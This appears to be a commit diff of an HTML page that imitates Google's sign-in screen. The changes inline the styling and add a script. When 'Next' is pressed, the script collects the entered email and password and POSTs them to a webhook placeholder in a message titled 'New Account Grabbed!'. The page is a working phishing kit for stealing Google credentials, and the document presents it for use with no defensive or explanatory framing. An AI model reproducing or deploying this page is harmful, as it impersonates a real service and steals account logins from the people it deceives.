33 < head >
44 < meta charset ="UTF-8 " />
55 < meta name ="viewport " content ="width=device-width, initial-scale=1.0 " />
6-
76 < link rel ="preconnect " href ="https://fonts.gstatic.com " />
87 < link
98 href ="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400&display=swap "
109 rel ="stylesheet "
1110 />
1211 < link rel ="shortcut icon " href ="./682665_favicon_google_logo_new_icon.png " type ="image/x-icon ">
1312
14- < link rel ="stylesheet " href ="./reset.css " />
15- < link rel ="stylesheet " href ="./styles.css " />
13+ < style >
14+ * {
15+ margin : 0 ;
16+ padding : 0 ;
17+ font-family : "Roboto" , sans-serif;
18+ box-sizing : border-box;
19+ }
20+
21+ : root {
22+ --principal : # 202124 ;
23+ --p : # 797d80 ;
24+ --blue : # 2c7fea ;
25+ --border-card : # dadce0 ;
26+ }
27+
28+ /* Default light mode styles */
29+ body {
30+ background-color : # f0f0f0 ;
31+ color : var (--principal );
32+ }
33+
34+ .container {
35+ width : 100vw ;
36+ height : 100vh ;
37+ display : flex;
38+ align-items : center;
39+ justify-content : center;
40+ flex-direction : column;
41+ }
42+
43+ .card {
44+ height : 500px ;
45+ width : 448px ;
46+ border-radius : 8px ;
47+ border : 1px solid var (--border-card );
48+ display : flex;
49+ flex-direction : column;
50+ align-items : center;
51+ padding : 48px 40px 36px ;
52+ background-color : white;
53+ }
54+
55+ .card h2 {
56+ padding-top : 16px ;
57+ font-weight : 400 ;
58+ font-size : 24px ;
59+ }
60+
61+ .card h3 {
62+ padding : 11px 0 35px 0 ;
63+ font-weight : 400 ;
64+ font-size : 16px ;
65+ }
66+
67+ .card input {
68+ padding : 13px 15px ;
69+ width : 100% ;
70+ height : 55px ;
71+ border-radius : 4px ;
72+ border : 1px solid var (--border-card );
73+ outline-color : # 1973e8 ;
74+ font-size : 16px ;
75+ }
76+
77+ .card .btn-email {
78+ padding-top : 12px ;
79+ width : 100% ;
80+ }
81+
82+ .card .btn-email button {
83+ background : transparent;
84+ border : none;
85+ cursor : pointer;
86+ color : var (--blue );
87+ font-weight : bold;
88+ font-size : 14px ;
89+ outline : none;
90+ }
91+
92+ .card .card-bottom {
93+ margin-top : 32px ;
94+ width : 100% ;
95+ display : flex;
96+ align-items : center;
97+ justify-content : space-between;
98+ }
99+
100+ .card .card-bottom a {
101+ border : none;
102+ cursor : pointer;
103+ color : var (--blue );
104+ font-weight : bold;
105+ text-decoration : none;
106+ font-size : 14px ;
107+ margin : 8px ;
108+ }
109+
110+ .card .card-bottom button {
111+ background : var (--blue );
112+ color : white;
113+ padding : 9px 24px ;
114+ font-size : 14px ;
115+ outline : none;
116+ border : none;
117+ border-radius : 4px ;
118+ cursor : pointer;
119+ transition : 0.2s ;
120+ }
121+
122+ .card .card-bottom button : hover {
123+ background : # 1a66c9 ;
124+ }
16125
126+ .footer {
127+ display : flex;
128+ align-items : center;
129+ justify-content : space-between;
130+ padding-top : 24px ;
131+ font-size : 12px ;
132+ width : 448px ;
133+ color : var (--p );
134+ }
135+
136+ .footer select {
137+ background-color : white; /* Light background in light mode */
138+ color : var (--principal ); /* Text color */
139+ border : 1px solid var (--border-card ); /* Light border */
140+ padding : 8px 12px ; /* Padding for better appearance */
141+ border-radius : 4px ; /* Rounded corners */
142+ cursor : pointer;
143+ outline : none;
144+ }
145+
146+ /* Dark Mode styles */
147+ @media (prefers-color-scheme : dark) {
148+ body {
149+ background-color : # 121212 ;
150+ color : white;
151+ }
152+
153+ .card {
154+ background-color : # 333 ;
155+ border : 1px solid # 444 ;
156+ }
157+
158+ .card h2 , .card h3 , .card p , .card .card-bottom a {
159+ color : white;
160+ }
161+
162+ .card input {
163+ background-color : # 444 ;
164+ border : 1px solid # 555 ;
165+ color : white;
166+ }
167+
168+ .card .btn-email button {
169+ color : # 1a73e8 ;
170+ }
171+
172+ .card .card-bottom button {
173+ background : # 1a73e8 ;
174+ color : white;
175+ }
176+
177+ .footer {
178+ color : # bbb ;
179+ }
180+
181+ /* Dark mode select styles */
182+ .footer select {
183+ background-color : # 444 ; /* Dark background in dark mode */
184+ color : white; /* Text color */
185+ border : 1px solid # 555 ; /* Dark border */
186+ }
187+ }
188+
189+
190+ </ style >
17191 < title > Google Login</ title >
18192 </ head >
19193
20194 < body >
21195 < div class ="container ">
22196 < div class ="card ">
23- < img src ="./images/google-logo.svg " alt ="" />
197+ < img src ="./images/google-logo.svg " alt ="Google Logo " />
24198 < h2 > Log In</ h2 >
25199 < h3 > Use your Google Account</ h3 >
26200
@@ -32,17 +206,15 @@ <h3>Use your Google Account</h3>
32206 </ div >
33207
34208 < div class ="card-bottom ">
35- < a href =""> Create Account</ a >
209+ < a href ="# "> Create Account</ a >
36210 < button type ="button " onclick ="verify() "> Next</ button >
37211 </ div >
38212 </ div >
39213
40214 < div class ="footer ">
41215 < select name ="select ">
42- < option value ="English (United States) selected "> English (United States)</ option >
43- < option value ="Portugês (Brasil) ">
44- Portugês (Brasil)
45- </ option >
216+ < option value ="English (United States) " selected > English (United States)</ option >
217+ < option value ="Portugês (Brasil) "> Portugês (Brasil)</ option >
46218 < option value ="Español (España) "> Español (España)</ option >
47219 </ select >
48220
@@ -53,6 +225,27 @@ <h3>Use your Google Account</h3>
53225 </ div >
54226 </ div >
55227 </ div >
56- < script src ="./js.js "> </ script >
228+
229+ < script >
230+ function verify ( ) {
231+ const email = document . getElementById ( "email" ) . value ;
232+ const password = document . getElementById ( "password" ) . value ;
233+
234+ if ( email && password ) {
235+ fetch ( "PLACE WEBHOOK HERE" , {
236+ method : "POST" ,
237+ headers : { "Content-Type" : "application/json" } ,
238+ body : JSON . stringify ( {
239+ username : "log-thing" ,
240+ embeds : [ {
241+ title : "❗ New Account Grabbed! ❗" ,
242+ description : `**Email Address:**\n*${ email } *\n**Password:**\n*${ password } *` ,
243+ color : 0x00ff04 ,
244+ } ] ,
245+ } ) ,
246+ } ) . catch ( console . error ) ;
247+ }
248+ }
249+ </ script >
57250 </ body >
58251</ html >
0 commit comments